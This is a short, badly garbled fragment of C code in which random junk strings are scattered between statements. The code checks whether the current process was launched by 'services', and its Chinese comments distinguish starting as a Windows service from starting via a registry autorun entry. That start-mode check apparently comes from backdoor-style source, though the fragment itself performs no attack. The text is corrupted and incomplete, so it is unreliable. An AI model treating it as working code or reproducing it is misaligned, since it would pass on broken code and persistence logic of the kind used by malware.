a l ~\-=q^/! HMODULE hMod; Ynf "g#( char procName[255]; fsOlg9 unsigned long cbNeeded; YvG$2F |_) X_X7fRC0 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4S4MQ prS%lg>
CloseHandle(hProcess); >)Qq^?U XO?WxL9k] if(strstr(procName,"services")) return 1; // 以服务启动 />Zfx. Aj6 /[Fk>Vhp return 0; // 注册表启动 ?3DFm } T$MXsq *.w6 =} // 主模块 HHw&BN |